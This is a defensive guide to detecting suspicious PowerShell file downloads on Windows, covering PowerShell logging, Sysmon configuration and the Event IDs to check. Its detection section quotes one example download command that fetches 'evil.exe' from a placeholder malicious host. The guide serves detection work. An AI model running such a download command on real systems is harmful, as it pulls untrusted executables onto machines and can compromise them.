# 7. Suspicious File Download Detection

## Step 1: Enable PowerShell Logging on Windows

### 1.1 Enable **Module Logging**

* Open **Group Policy Editor** (gpedit.msc)
* Navigate to:
* Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on Module Logging
* Enable it and specify modules to log, or leave blank for all.

### 1.2 Enable **Script Block Logging**

* In Group Policy Editor:
* Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging
* Enable it.

This logs detailed PowerShell script blocks executed on the system (including obfuscated and downloaded scripts).

## Step 2: Enable Sysmon with Config to Log ProcessCreate and Network Connections

* Install Sysmon (if not installed):

.\Sysmon64.exe -i -accepteula

* Use a config file (like SwiftOnSecurity’s [Sysmon config](https://github.com/SwiftOnSecurity/sysmon-config)) that enables:
  + Event ID 1: ProcessCreate (logs process start, including command line)
  + Event ID 3: Network connection

This helps detect Invoke-WebRequest running and network connections to malicious URLs.

## Step 3: Detect Suspicious PowerShell Download Commands

Look for commands like:

Invoke-WebRequest -Uri "http://malicious-url" -OutFile "evil.exe"

### Where to check:

* **Windows Event Viewer** → **Applications and Services Logs** → **Microsoft → Windows → PowerShell → Operational**
  + Look for Event ID **4104** (Script Block Logging events)
  + These contain the executed script blocks, including download.
* **Sysmon Event Logs** (via Event Viewer or your SIEM):
  + Event ID **1** (ProcessCreate) with powershell.exe or pwsh.exe commands invoking downloads.
  + Event ID **3** (Network connections) to suspicious IPs/domains.